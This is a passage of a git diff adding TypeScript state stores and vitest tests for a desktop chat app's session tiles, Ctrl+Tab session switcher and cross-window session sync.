+  if (!(runtimeId in current)) {
+    return
+  }
+
+  const { [runtimeId]: _dropped, ...rest } = current
+  $sessionStates.set(rest)
+}
+
+/** Drop every cached session state — used on soft gateway-mode apply so the
+ *  computed working / attention sets drain to empty alongside the session list.
+ *  Also disarms every watchdog timer and drops all settle-grace entries: a
+ *  wiped gateway's sessions must not fire stale clears or linger in the
+ *  sidebar merge keep-set after the switch. */
+export function clearAllSessionStates() {
+  for (const timer of sessionWatchdogTimers.values()) {
+    clearTimeout(timer)
+  }
+
+  sessionWatchdogTimers.clear()
+  settledExpiry.clear()
+  $stalledSessionIds.set([])
+  $sessionStates.set({})
+}
+
+// Derived per-session status sets — pure projections of `$sessionStates` (which
+// holds `busy`/`needsInput` per runtime), keeping the data flow one-directional:
+// gateway event → cache → $sessionStates → computed views.
+//
+// Perf: `$sessionStates` is republished on EVERY message delta (tens/sec during
+// a turn), but these sets only change on busy/needsInput edges. `stableArray`
+// keeps the prior reference when membership is unchanged so `computed` skips the
+// emit — otherwise the whole sidebar + every row re-renders per token.
+const storedIds = (states: Record<string, ClientSessionState>, pred: (s: ClientSessionState) => boolean) =>
+  Object.values(states)
+    .filter(s => pred(s) && s.storedSessionId)
+    .map(s => s.storedSessionId!)
+
+let workingIds: readonly string[] = []
+export const $workingSessionIds = computed(
+  $sessionStates,
+  states =>
+    (workingIds = stableArray(
+      workingIds,
+      storedIds(states, s => s.busy)
+    ))
+)
+
+let attentionIds: readonly string[] = []
+export const $attentionSessionIds = computed(
+  $sessionStates,
+  states =>
+    (attentionIds = stableArray(
+      attentionIds,
+      storedIds(states, s => s.needsInput)
+    ))
+)
+
+// ---------------------------------------------------------------------------
+// Session tiles.
+// ---------------------------------------------------------------------------
+
+/** Edge a tile docks against main when it first joins the tree. Shared by
+ *  session tiles and route (page) tiles. */
+export type SplitDir = 'bottom' | 'left' | 'right' | 'top'
+
+/** Where a tile lands on adoption: an edge split, or `center` = stack into
+ *  the anchor's zone as a tab (a drop on the zone's tab strip). */
+export type TileDock = 'center' | SplitDir
+
+export interface SessionTile {
+  /** Stored session id — the durable identity (runtime ids are ephemeral). */
+  storedSessionId: string
+  /** Dock against `anchor` on adoption (default right; center = stack). */
+  dir?: TileDock
+  /** Pane to dock against (a drop's target zone) — default the workspace.
+   *  Persisted so a restart re-docks in place; a stale id falls back to the
+   *  workspace (findGroupOfPane misses → the move is skipped). */
+  anchor?: string
+  /** Center docks: stack BEFORE this pane id (`null`/omitted = append) — the
+   *  strip divider's slot. Persisted, like `anchor`; a stale id appends. */
+  before?: null | string
+  /** Live runtime id once the tile's resume has bound one. */
+  runtimeId?: string
+  /** Resume failed terminally (shown in the tile; retryable). */
+  error?: string
+}
+
+// Tiles are persisted PER PROFILE: a session belongs to one profile, and the
+// single live gateway is scoped to one profile at a time, so a tile only makes
+// sense while its profile is active. Switching profiles swaps the visible set
+// (and drops runtime bindings so each tile re-resumes against the now-current
+// gateway — which also settles the "tile resumes against the wrong backend" and
+// "stale runtime after respawn" bugs by construction).
+const TILES_KEY = 'clawcodex.desktop.sessionTiles.v2'
+const LEGACY_TILES_KEY = 'clawcodex.desktop.sessionTiles.v1'
+const TILE_PANE_PREFIX = 'session-tile:'
+
+/** Persisted placement — `dir` + strip slot (`before`) + dock `anchor` so a
+ *  restart / profile swap re-adopts tiles in the same order, not all stacked
+ *  right of workspace. */
+type StoredTile = Pick<SessionTile, 'anchor' | 'before' | 'dir' | 'storedSessionId'>
+
+const toStored = (t: SessionTile): StoredTile => ({
+  anchor: t.anchor,
+  before: t.before,
+  dir: t.dir,
+  storedSessionId: t.storedSessionId
+})
+
+function parseTileList(value: unknown): StoredTile[] {
+  return Array.isArray(value)
+    ? value
+        .filter((t): t is SessionTile => Boolean(t && typeof (t as SessionTile).storedSessionId === 'string'))
+        .map(t => {
+          const raw = t as SessionTile
+
+          return {
+            anchor: typeof raw.anchor === 'string' ? raw.anchor : undefined,
+            before: typeof raw.before === 'string' || raw.before === null ? raw.before : undefined,
+            dir: raw.dir,
+            storedSessionId: raw.storedSessionId
+          }
+        })
+    : []
+}
+
+function loadTilesByProfile(): Record<string, StoredTile[]> {
+  const byProfile: Record<string, StoredTile[]> = {}
+  const parsed = readJson<unknown>(TILES_KEY)
+
+  if (parsed && typeof parsed === 'object' && !Array.isArray(parsed)) {
+    for (const [profile, list] of Object.entries(parsed as Record<string, unknown>)) {
+      const tiles = parseTileList(list)
+
+      if (tiles.length > 0) {
+        byProfile[normalizeProfileKey(profile)] = tiles
+      }
+    }
+  }
+
+  // Migrate a v1 flat list into the default profile, then retire the key.
+  const legacy = parseTileList(readJson<unknown>(LEGACY_TILES_KEY))
+
+  if (legacy.length > 0) {
+    const key = normalizeProfileKey('default')
+    byProfile[key] = [...(byProfile[key] ?? []), ...legacy]
+  }
+
+  writeJson(LEGACY_TILES_KEY, null)
+
+  return byProfile
+}
+
+const tilesByProfile = loadTilesByProfile()
+// Keyed by the GATEWAY profile: the rail's profile switch is a soft swap
+// ($activeGatewayProfile moves, no reload) — $activeProfile mirrors the
+// window's primary backend and never changes on a rail switch, so keying on
+// it left the previous profile's tiles registered (phantom "Session" tabs).
+const profileKey = () => normalizeProfileKey($activeGatewayProfile.get())
+
+// Runtime ids are process-scoped — never trust a persisted one, so the live
+// atom hydrates from the stored (runtime-less) tiles for the active profile.
+// A secondary window (single-chat pop-out) shows ONLY its routed session — no
+// tiles, and no repopulation on a profile switch.
+export const $sessionTiles = atom<SessionTile[]>(isSecondaryWindow() ? [] : [...(tilesByProfile[profileKey()] ?? [])])
+
+function persistTiles() {
+  // Shares the origin's storage; a secondary window holds no tiles, so a write
+  // back would only wipe the primary's set.
+  if (isSecondaryWindow()) {
+    return
+  }
+
+  writeJson(TILES_KEY, Object.keys(tilesByProfile).length === 0 ? null : tilesByProfile)
+}
+
+function saveTiles(tiles: SessionTile[]) {
+  $sessionTiles.set(tiles)
+  const stored = tiles.map(toStored)
+
+  if (stored.length > 0) {
+    tilesByProfile[profileKey()] = stored
+  } else {
+    delete tilesByProfile[profileKey()]
+  }
+
+  persistTiles()
+}
+
+// Profile switch: surface the new profile's tiles with runtime ids cleared so
+// they re-resume against the now-current gateway. (Fires immediately on
+// subscribe; harmless — the init value already matches.) A secondary window
+// never carries tiles, so it stays out of this entirely.
+if (!isSecondaryWindow()) {
+  $activeGatewayProfile.subscribe(() => {
+    $sessionTiles.set([...(tilesByProfile[profileKey()] ?? [])])
+  })
+}
+
+export function patchSessionTile(storedSessionId: string, patch: Partial<SessionTile>) {
+  saveTiles($sessionTiles.get().map(t => (t.storedSessionId === storedSessionId ? { ...t, ...patch } : t)))
+}
+
+/** Drop live runtime bindings so every tile re-resumes — used on gateway
+ *  reconnect, where a respawned backend re-mints (recycles) runtime ids. */
+export function resetTileRuntimeBindings() {
+  const tiles = $sessionTiles.get()
+
+  if (tiles.some(t => t.runtimeId)) {
+    $sessionTiles.set(tiles.map(toStored))
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Delegate — the wiring layer (which owns the gateway + session cache) plugs
+// its actions in; tile UI calls through here. Same inversion as the tree
+// store's pane closers.
+// ---------------------------------------------------------------------------
+
+export interface SessionTileDelegate {
+  /** Archive a stored session (the sidebar's archive, incl. tile cleanup). */
+  archiveSession(storedSessionId: string): Promise<void>
+  /** Branch a stored session into a new chat (the sidebar's branch). */
+  branchSession(storedSessionId: string): Promise<void>
+  /** Delete a stored session (the sidebar's delete, incl. tile cleanup). */
+  deleteSession(storedSessionId: string): Promise<void>
+  /** Run a slash command against a tile's session (app-level effects — e.g.
+   *  branch/handoff — act on the main surface, as they should). */
+  executeSlash(rawCommand: string, sessionId: string): Promise<void>
+  /** Interrupt a tile's running turn. */
+  interruptSession(runtimeId: string): Promise<void>
+  /** Bind a live runtime id for a stored session (resume without touching
+   *  the main view). Returns the runtime id, or throws. */
+  resumeTile(storedSessionId: string): Promise<string>
+  /** Submit a prompt to a tile's live session. */
+  submitToSession(runtimeId: string, text: string): Promise<void>
+  /** THE session-state write path — routes through the wiring cache so the
+   *  cache, the primary view (when active), and every tile mirror agree. */
+  updateSession(runtimeId: string, updater: (state: ClientSessionState) => ClientSessionState): ClientSessionState
+}
+
+let delegate: SessionTileDelegate | null = null
+
+export function setSessionTileDelegate(next: SessionTileDelegate) {
+  delegate = next
+}
+
+export function sessionTileDelegate(): SessionTileDelegate | null {
+  return delegate
+}
+
+/** Reorder tiles to match layout-tree encounter order (stored ids in the order
+ *  their `session-tile:` panes are walked). Restore replays the array through
+ *  sequential adoption (each center tile APPENDS after the ones before it), so
+ *  array order IS strip order — no `before` stamping needed; a stale `before`
+ *  naming an absent pane falls back to append anyway (see insertAtGroup). Tiles
+ *  not yet adopted sort after placed ones, stably. Returns `null` when nothing
+ *  moves so callers can skip a needless persist. */
+export function orderTilesByTree<T extends { storedSessionId: string }>(
+  tree: LayoutNode | null,
+  tiles: readonly T[]
+): null | T[] {
+  if (!tree || tiles.length < 2) {
+    return null
+  }
+
+  const order: string[] = []
+
+  const walk = (node: LayoutNode) => {
+    if (node.type === 'group') {
+      for (const id of node.panes) {
+        if (id.startsWith(TILE_PANE_PREFIX)) {
+          order.push(id.slice(TILE_PANE_PREFIX.length))
+        }
+      }
+
+      return
+    }
+
+    node.children.forEach(walk)
+  }
+
+  walk(tree)
+
+  const rank = new Map(order.map((id, i) => [id, i]))
+
+  const next = [...tiles].sort(
+    (a, b) => (rank.get(a.storedSessionId) ?? Infinity) - (rank.get(b.storedSessionId) ?? Infinity)
+  )
+
+  return next.some((t, i) => t !== tiles[i]) ? next : null
+}
+
+function syncTileStripOrder() {
+  const next = orderTilesByTree($layoutTree.get(), $sessionTiles.get())
+
+  if (next) {
+    saveTiles(next)
+  }
+}
+
+/** Open a tile for a stored session, or MOVE an existing one to the new dock
+ *  (`dir`; `center` = stack into the anchor's zone, `before` = strip slot). The
+ *  move path is what lets a tile's own TAB be dragged like a sidebar row — drop
+ *  it on a zone/edge/strip and the tile goes there (drop-on-a-composer links
+ *  instead, handled by the drag resolver). The session LOADED IN MAIN never
+ *  opens as a tile (same transcript twice, fighting one runtime — silly).
+ *
+ *  An unanchored open (⌘T, ⌘⇧T on a tile that predates anchors) docks into the
+ *  FOCUSED chat zone — the same zone ⌘1…⌘9 and ⌘W act on — so a new tab lands
+ *  in the strip the user is looking at, not always main's. */
+export function openSessionTile(
+  storedSessionId: string,
+  dir: TileDock = 'right',
+  anchor?: string,
+  before?: null | string
+) {
+  const tiles = $sessionTiles.get()
+
+  if (storedSessionId === $selectedStoredSessionId.get()) {
+    return
+  }
+
+  const dock = anchor ?? focusedSessionTabAnchor() ?? undefined
+
+  if (!tiles.some(t => t.storedSessionId === storedSessionId)) {
+    saveTiles([...tiles, { anchor: dock, before, dir, storedSessionId }])
+    // Adoption is async via the registry — order sync runs after the move path
+    // below; a brand-new tile's strip slot is already in `before`.
+
+    return
+  }
+
+  // Already open: relocate the existing pane to the drop target (pane-mirror
+  // only docks on first adoption, so a re-drag must move the tree pane itself).
+  const tree = $layoutTree.get()
+  const target = tree ? findGroupOfPane(tree, dock ?? 'workspace')?.id : null
+
+  if (target) {
+    moveTreePane(`${TILE_PANE_PREFIX}${storedSessionId}`, { before: before ?? null, groupId: target, pos: dir })
+    patchSessionTile(storedSessionId, { anchor: dock, before: before ?? undefined, dir })
+    syncTileStripOrder()
+  }
+}
+
+/** ⌘W on the MAIN tab: the next session tab stacked WITH the workspace, to
+ *  shift into main. Walks the workspace group's strip from the workspace tab
+ *  outward (the tab after it first, then wrapping to the ones before), and
+ *  returns the first session tile's stored id. Null when the workspace has no
+ *  session tab stacked beside it (⌘W then stays the no-op it was). */
+export function nextSessionTileForWorkspace(): null | string {
+  const tree = $layoutTree.get()
+  const group = tree ? findGroupOfPane(tree, 'workspace') : null
+
+  if (!group) {
+    return null
+  }
+
+  const tiles = $sessionTiles.get()
+  const idx = group.panes.indexOf('workspace')
+  // After the workspace tab first, then the ones before it (nearest-out).
+  const ordered = [...group.panes.slice(idx + 1), ...group.panes.slice(0, idx).reverse()]
+
+  for (const paneId of ordered) {
+    if (paneId.startsWith(TILE_PANE_PREFIX)) {
+      const storedSessionId = paneId.slice(TILE_PANE_PREFIX.length)
+
+      if (tiles.some(t => t.storedSessionId === storedSessionId)) {
+        return storedSessionId
+      }
+    }
+  }
+
+  return null
+}
+
+/** If a session is already ON SCREEN — an open tile OR the one loaded in main —
+ *  front its tab (and focus its zone) and report WHICH. A sidebar click on an
+ *  already-open chat JUMPS to its tab instead of reloading it; `null` means the
+ *  caller must load it into main. Covers the two dead clicks: an open tile, and
+ *  the main session while focus sits on a tile (route unchanged → no reload).
+ *  Callers that own the router need the `'main'` vs `'tile'` distinction: a
+ *  `'main'` hit only reaches the screen if the workspace pane is actually
+ *  showing the chat, whereas a tile renders in its own pane regardless. */
+export function focusOpenSession(storedSessionId: string): 'main' | 'tile' | null {
+  if ($sessionTiles.get().some(t => t.storedSessionId === storedSessionId)) {
+    const paneId = `${TILE_PANE_PREFIX}${storedSessionId}`
+    revealTreePane(paneId) // un-dismiss + adopt + front in its group
+    const tree = $layoutTree.get()
+    const group = tree ? findGroupOfPane(tree, paneId) : null
+
+    if (group) {
+      noteActiveTreeGroup(group.id)
+    }
+
+    return 'tile'
+  }
+
+  // Already the main session: front the workspace tab and drop tile focus so
+  // the readouts + sidebar highlight come home (a no-op when main is focused).
+  if (storedSessionId === $selectedStoredSessionId.get()) {
+    revealTreePane('workspace')
+    noteActiveTreeGroup(null)
+
+    return 'main'
+  }
+
+  return null
+}
+
+/** Does a sidebar click still need to navigate after `focusOpenSession`? A miss
+ *  always does. A `'main'` hit does too while the workspace pane is showing a
+ *  full page (artifacts, skills, …): fronting the workspace tab doesn't put the
+ *  chat back on screen — only a route change back to the session does. A tile
+ *  hit never does; its pane renders the chat regardless of the route. */
+export function focusedSessionNeedsRoute(focused: 'main' | 'tile' | null, workspaceIsPage: boolean): boolean {
+  return !focused || (focused === 'main' && workspaceIsPage)
+}
+
+/** The open tab that's still an empty "New session" draft, if there is one.
+ *  That tab is the one the user would have typed into, so an open-from-nowhere
+ *  spends it instead of stacking a second blank tab beside it. Most recent
+ *  wins; a tile whose runtime hasn't bound (or whose state hasn't published) is
+ *  unknown rather than empty, so it's left alone. */
+export function blankDraftTile(
+  tiles: readonly SessionTile[],
+  states: Record<string, ClientSessionState>
+): null | SessionTile {
+  return (
+    tiles.findLast(({ runtimeId }) => {
+      const state = runtimeId ? states[runtimeId] : undefined
+
+      return Boolean(state && !state.busy && state.messages.length === 0)
+    }) ?? null
+  )
+}
+
+/** Hand an open blank draft tab over to `storedSessionId`, keeping its slot.
+ *  False when there's no such tab, so the caller can fall back. The spent draft
+ *  is DISCARDED rather than closed: it never held a conversation, so ⌘⇧T
+ *  resurrecting it would just restore an empty tab. */
+export function reuseBlankDraftTile(storedSessionId: string): boolean {
+  const tile = blankDraftTile($sessionTiles.get(), $sessionStates.get())
+
+  if (!tile || tile.storedSessionId === storedSessionId) {
+    return false
+  }
+
+  discardSessionTile(tile.storedSessionId)
+  openSessionTile(storedSessionId, tile.dir, tile.anchor, tile.before)
+  revealTreePane(`${TILE_PANE_PREFIX}${storedSessionId}`)
+
+  return true
+}
+
+// Closed-tab stack for ⌘⇧T reopen (in-memory) — keyed PER PROFILE like the
+// tiles themselves, so ⌘⇧T after a profile switch never resurrects the other
+// profile's session. The tile's placement is remembered so it returns in place.
+const closedTilesByProfile: Record<string, SessionTile[]> = {}
+const closedStack = (): SessionTile[] => (closedTilesByProfile[profileKey()] ??= [])
+
+export function closeSessionTile(storedSessionId: string) {
+  const tile = $sessionTiles.get().find(t => t.storedSessionId === storedSessionId)
+
+  if (tile) {
+    closedStack().push({ anchor: tile.anchor, before: tile.before, dir: tile.dir, storedSessionId })
+  }
+
+  saveTiles($sessionTiles.get().filter(t => t.storedSessionId !== storedSessionId))
+}
+
+/** Drop a DEAD tile — a persisted tile whose session no longer exists on the
+ *  backend (resume 404s). Unlike close, it leaves no ⌘⇧T undo (resurrecting it
+ *  would just 404 again) and evicts any cached state. This is what clears the
+ *  "Session not found" resume spam from stale/cross-profile persisted tiles. */
+export function discardSessionTile(storedSessionId: string) {
+  const runtimeId = $sessionTiles.get().find(t => t.storedSessionId === storedSessionId)?.runtimeId
+
+  if (runtimeId) {
+    dropSessionState(runtimeId)
+  }
+
+  saveTiles($sessionTiles.get().filter(t => t.storedSessionId !== storedSessionId))
+}
+
+/** ⌘⇧T — reopen the most recently closed tab where it was, then focus it.
+ *  Adoption alone is silent (won't steal the active tab), so restore has to
+ *  front the pane explicitly. Skips ids that are live again (reopened / now
+ *  the primary). */
+export function reopenLastClosedTile(): void {
+  const stack = closedStack()
+
+  for (let tile = stack.pop(); tile; tile = stack.pop()) {
+    const { storedSessionId } = tile
+
+    if (storedSessionId === $selectedStoredSessionId.get()) {
+      continue
+    }
+
+    if (!$sessionTiles.get().some(t => t.storedSessionId === storedSessionId)) {
+      openSessionTile(storedSessionId, tile.dir, tile.anchor, tile.before)
+      focusOpenSession(storedSessionId)
+
+      return
+    }
+  }
+}
+
+// ---------------------------------------------------------------------------
+// The FOCUSED session — one derivation, not another hand-maintained
+// "$activeSession" sibling. The layout's interaction tracker ($activeTreeGroup:
+// last click/focus, the same source ⌘W uses) resolves to a zone; its active
+// pane names the session: a `session-tile:<storedId>` pane IS that session,
+// anything else falls back to the route-driven primary. Chrome that should
+// follow the user between tiles (titlebar session title, statusbar context /
+// timer / model) reads these instead of the primary-only atoms.
+// ---------------------------------------------------------------------------
+
+/** Stored id of the focused session (the interacted zone's tile, else the
+ *  primary's selection). Null on a fresh draft. */
+export const $focusedStoredSessionId = computed(
+  [$activeTreeGroup, $layoutTree, $selectedStoredSessionId],
+  (groupId, tree, selected) => {
+    const active = groupId && tree ? findGroup(tree, groupId)?.active : undefined
+
+    return active?.startsWith(TILE_PANE_PREFIX) ? active.slice(TILE_PANE_PREFIX.length) : selected
+  }
+)
+
+/** Live runtime id of the focused session (a tile's bound runtime, else the
+ *  primary's active session). */
+export const $focusedRuntimeId = computed(
+  [$focusedStoredSessionId, $selectedStoredSessionId, $activeSessionId, $sessionTiles],
+  (focused, selected, primaryRuntime, tiles) => {
+    if (focused && focused !== selected) {
+      return tiles.find(t => t.storedSessionId === focused)?.runtimeId ?? null
+    }
+
+    return primaryRuntime
+  }
+)
+
+/** The focused session's state slice (undefined while unresolved/unbound). */
+export const $focusedSessionState = computed([$focusedRuntimeId, $sessionStates], (runtimeId, states) =>
+  runtimeId ? states[runtimeId] : undefined
+)
+
+/** A PRIMARY navigation (sidebar resume, route change, new chat) homes focus to
+ *  the workspace — UNLESS the selected id is already an open TILE, where
+ *  `focusOpenSession` owns the move and homing would yank every stacked tile
+ *  behind the workspace (A+B "disappear" when switching to C). */
+export const selectionHomesToWorkspace = (selected: null | string, tiles: readonly SessionTile[]): boolean =>
+  !(selected && tiles.some(t => t.storedSessionId === selected))
+
+// Cold-start restore is the one selection change that is NOT a navigation: the
+// route already pointed at the primary session before the window loaded, and
+// homing on it would front the workspace tab over the PERSISTED active tab —
+// then persist that clobber, so the tab you reloaded on never comes back
+// (⌘R always landing on main). use-route-resume arms this one-shot right
+// before dispatching the boot resume; the very next selection change skips
+// homing and the restored layout tree keeps its say.
+let selectionRestoreInFlight = false
+
+export function markSelectionRestore() {
+  selectionRestoreInFlight = true
+}
+
+// Homing also FRONTS the workspace tab: the resumed chat loads in the workspace
+// pane, so a zone parked on a tile tab must switch back or the click looks dead.
+$selectedStoredSessionId.listen(selected => {
+  const restoring = selectionRestoreInFlight
+  selectionRestoreInFlight = false
+
+  if (restoring || !selectionHomesToWorkspace(selected, $sessionTiles.get())) {
+    return
+  }
+
+  noteActiveTreeGroup(null)
+  revealTreePane('workspace')
+})
+
+// Dev hook for automation (mirrors __CLAWCODEX_LAYOUT_TREE__).
+if ((import.meta.env.DEV || import.meta.env.VITE_PERF_PROBE === '1') && typeof window !== 'undefined') {
+  ;(window as unknown as Record<string, unknown>).__CLAWCODEX_SESSION_TILES__ = {
+    close: closeSessionTile,
+    open: openSessionTile,
+    patch: patchSessionTile,
+    publish: publishSessionState,
+    states: () => $sessionStates.get(),
+    tiles: () => $sessionTiles.get()
+  }
+}
diff --git a/ui-desktop/src/store/session-switcher.test.ts b/ui-desktop/src/store/session-switcher.test.ts
new file mode 100644
index 000000000..fbd843d00
--- /dev/null
+++ b/ui-desktop/src/store/session-switcher.test.ts
@@ -0,0 +1,115 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { $selectedStoredSessionId, $sessions } from './session'
+import {
+  $switcherIndex,
+  $switcherOpen,
+  $switcherSessions,
+  closeSwitcher,
+  commitOnCtrlUp,
+  onSwitcherTabDown,
+  onSwitcherTabUp,
+  openOrAdvanceSwitcher,
+  slotSessionId,
+  SWITCHER_REVEAL_MS
+} from './session-switcher'
+
+const session = (id: string): SessionInfo => ({ id }) as SessionInfo
+
+const seed = (ids: string[], selected: null | string) => {
+  $sessions.set(ids.map(session))
+  $selectedStoredSessionId.set(selected)
+}
+
+const tabTap = (direction: 1 | -1 = 1) => {
+  onSwitcherTabDown()
+  const target = openOrAdvanceSwitcher(direction)
+  onSwitcherTabUp()
+
+  return target
+}
+
+beforeEach(() => {
+  vi.useRealTimers()
+  closeSwitcher()
+  $switcherSessions.set([])
+  $switcherIndex.set(0)
+})
+
+afterEach(() => {
+  seed([], null)
+})
+
+describe('openOrAdvanceSwitcher', () => {
+  it('does nothing with fewer than two sessions', () => {
+    seed(['a'], 'a')
+    onSwitcherTabDown()
+
+    expect(openOrAdvanceSwitcher(1)).toBeNull()
+  })
+
+  it('jumps immediately on a quick Tab tap without opening the HUD', () => {
+    seed(['a', 'b', 'c'], 'a')
+
+    expect(tabTap()).toBe('b')
+    expect($switcherOpen.get()).toBe(false)
+    expect(commitOnCtrlUp()).toBeNull()
+  })
+
+  it('does not open the HUD when Ctrl stays down but Tab was released quickly', () => {
+    vi.useFakeTimers()
+    seed(['a', 'b', 'c'], 'a')
+
+    tabTap()
+    vi.advanceTimersByTime(SWITCHER_REVEAL_MS)
+
+    expect($switcherOpen.get()).toBe(false)
+  })
+
+  it('opens the HUD when Tab stays held past the reveal delay', () => {
+    vi.useFakeTimers()
+    seed(['a', 'b', 'c'], 'a')
+
+    onSwitcherTabDown()
+    openOrAdvanceSwitcher(1)
+    vi.advanceTimersByTime(SWITCHER_REVEAL_MS)
+
+    expect($switcherOpen.get()).toBe(true)
+    onSwitcherTabUp()
+  })
+
+  it('opens on a second Tab while Ctrl is still down', () => {
+    seed(['a', 'b', 'c'], 'a')
+
+    expect(tabTap()).toBe('b')
+    onSwitcherTabDown()
+    openOrAdvanceSwitcher(1)
+    onSwitcherTabUp()
+
+    expect($switcherOpen.get()).toBe(true)
+    expect($switcherIndex.get()).toBe(2)
+  })
+
+  it('commits the HUD highlight on Ctrl up', () => {
+    seed(['a', 'b', 'c'], 'a')
+
+    expect(tabTap()).toBe('b')
+    onSwitcherTabDown()
+    openOrAdvanceSwitcher(1)
+    onSwitcherTabUp()
+
+    expect(commitOnCtrlUp()).toBe('c')
+  })
+})
+
+describe('slotSessionId', () => {
+  it('reads the armed snapshot while browsing is pending', () => {
+    seed(['a', 'b', 'c'], 'a')
+    tabTap()
+    $sessions.set([session('x')])
+
+    expect(slotSessionId(2)).toBe('b')
+  })
+})
diff --git a/ui-desktop/src/store/session-switcher.ts b/ui-desktop/src/store/session-switcher.ts
new file mode 100644
index 000000000..6c87fe8d0
--- /dev/null
+++ b/ui-desktop/src/store/session-switcher.ts
@@ -0,0 +1,127 @@
+import { atom } from 'nanostores'
+
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { $selectedStoredSessionId, $sessions } from './session'
+
+// Mac-style session switcher (^Tab). Quick tap jumps on keydown; the HUD opens
+// only when Tab is held past REVEAL_MS or tapped again while Ctrl is down.
+
+export const SWITCHER_REVEAL_MS = 220
+
+export const $switcherOpen = atom(false)
+export const $switcherSessions = atom<SessionInfo[]>([])
+export const $switcherIndex = atom(0)
+
+const wrap = (index: number, length: number): number => ((index % length) + length) % length
+
+let pendingBrowse = false
+let revealTimer: ReturnType<typeof setTimeout> | null = null
+let tabHeld = false
+let closedAt = 0
+
+function clearRevealTimer(): void {
+  if (revealTimer) {
+    clearTimeout(revealTimer)
+    revealTimer = null
+  }
+}
+
+function revealOverlay(): void {
+  pendingBrowse = false
+  $switcherOpen.set(true)
+}
+
+function scheduleReveal(): void {
+  clearRevealTimer()
+  revealTimer = setTimeout(() => {
+    revealTimer = null
+
+    if (pendingBrowse && tabHeld) {
+      revealOverlay()
+    }
+  }, SWITCHER_REVEAL_MS)
+}
+
+export function onSwitcherTabDown(): void {
+  tabHeld = true
+}
+
+export function onSwitcherTabUp(): void {
+  tabHeld = false
+
+  if (!$switcherOpen.get()) {
+    clearRevealTimer()
+  }
+}
+
+// First Tab returns a session id to jump to immediately; later Tabs move the
+// highlight (Ctrl↑ commits when the HUD is open).
+export function openOrAdvanceSwitcher(direction: 1 | -1): string | null {
+  const sessions = $sessions.get()
+
+  if (sessions.length < 2) {
+    return null
+  }
+
+  if ($switcherOpen.get()) {
+    const { length } = $switcherSessions.get()
+
+    if (length) {
+      $switcherIndex.set(wrap($switcherIndex.get() + direction, length))
+    }
+
+    return null
+  }
+
+  const current = sessions.findIndex(session => session.id === $selectedStoredSessionId.get())
+  const start = current === -1 ? (direction === 1 ? -1 : 0) : current
+  const nextIndex = wrap(start + direction, sessions.length)
+
+  $switcherSessions.set(sessions)
+  $switcherIndex.set(nextIndex)
+
+  if (pendingBrowse) {
+    clearRevealTimer()
+    $switcherIndex.set(wrap($switcherIndex.get() + direction, sessions.length))
+    revealOverlay()
+
+    return null
+  }
+
+  pendingBrowse = true
+  scheduleReveal()
+
+  return sessions[nextIndex]?.id ?? null
+}
+
+export const highlightedSessionId = (): string | null => $switcherSessions.get()[$switcherIndex.get()]?.id ?? null
+
+export const slotSessionId = (slot: number): string | null =>
+  ($switcherOpen.get() || pendingBrowse ? $switcherSessions.get() : $sessions.get())[slot - 1]?.id ?? null
+
+export function closeSwitcher(): void {
+  closedAt = Date.now()
+  clearRevealTimer()
+  pendingBrowse = false
+  tabHeld = false
+  $switcherOpen.set(false)
+}
+
+export function commitOnCtrlUp(): string | null {
+  clearRevealTimer()
+  pendingBrowse = false
+
+  if (!$switcherOpen.get()) {
+    return null
+  }
+
+  const target = highlightedSessionId()
+  closeSwitcher()
+
+  return target
+}
+
+export const switcherJustClosed = (): boolean => Date.now() - closedAt < 400
+
+export const switcherActive = (): boolean => $switcherOpen.get() || pendingBrowse
diff --git a/ui-desktop/src/store/session-sync.ts b/ui-desktop/src/store/session-sync.ts
new file mode 100644
index 000000000..e9fb3f3fd
--- /dev/null
+++ b/ui-desktop/src/store/session-sync.ts
@@ -0,0 +1,25 @@
+// Cross-window session-list sync. Each desktop window is its own renderer
+// process with its own gateway socket and session store, so a mutation in one
+// (e.g. a new chat started in the compact pop-out) never reaches another
+// window. This bus pings every window to re-pull the shared session list; the
+// data already lives in the backend, the other window just doesn't know to look.
+const CHANNEL = 'clawcodex:sessions'
+
+const channel = typeof BroadcastChannel === 'undefined' ? null : new BroadcastChannel(CHANNEL)
+
+// A window that mutated the session list (created / titled a chat) tells the
+// others to refresh. A BroadcastChannel never delivers to its own poster, so the
+// caller refreshes locally as it already does.
+export function broadcastSessionsChanged(): void {
+  channel?.postMessage(1)
+}
+
+export function onSessionsChanged(handler: () => void): () => void {
+  if (!channel) {
+    return () => {}
+  }
+
+  channel.addEventListener('message', handler)
+
+  return () => channel.removeEventListener('message', handler)
+}
diff --git a/ui-desktop/src/store/session-watchdog.test.ts b/ui-desktop/src/store/session-watchdog.test.ts
new file mode 100644
index 000000000..2b023fd37
--- /dev/null
+++ b/ui-desktop/src/store/session-watchdog.test.ts
@@ -0,0 +1,256 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+
+import { $activeSessionId, $selectedStoredSessionId, $unreadFinishedSessionIds } from './session'
+import {
+  $attentionSessionIds,
+  $stalledSessionIds,
+  $workingSessionIds,
+  clearAllSessionStates,
+  getRecentlySettledSessionIds,
+  publishSessionState
+} from './session-states'
+
+const WATCHDOG_MS = 8 * 60 * 1000
+
+function state(over: Partial<ClientSessionState> = {}): ClientSessionState {
+  return { ...createClientSessionState(null), storedSessionId: 's1', ...over }
+}
+
+describe('session status transitions', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(0)
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+    $selectedStoredSessionId.set(null)
+    $activeSessionId.set(null)
+  })
+
+  afterEach(() => {
+    vi.runOnlyPendingTimers()
+    vi.useRealTimers()
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+    $selectedStoredSessionId.set(null)
+    $activeSessionId.set(null)
+  })
+
+  it('adds a session to $workingSessionIds when busy transitions to true', () => {
+    const s = state({ busy: false, storedSessionId: 's1' })
+    publishSessionState('rt1', s)
+
+    publishSessionState('rt1', { ...s, busy: true })
+
+    expect($workingSessionIds.get()).toContain('s1')
+  })
+
+  it('removes a session from $workingSessionIds when busy transitions to false', () => {
+    const working = state({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    expect($workingSessionIds.get()).toContain('s1')
+
+    publishSessionState('rt1', { ...working, busy: false })
+
+    expect($workingSessionIds.get()).not.toContain('s1')
+  })
+
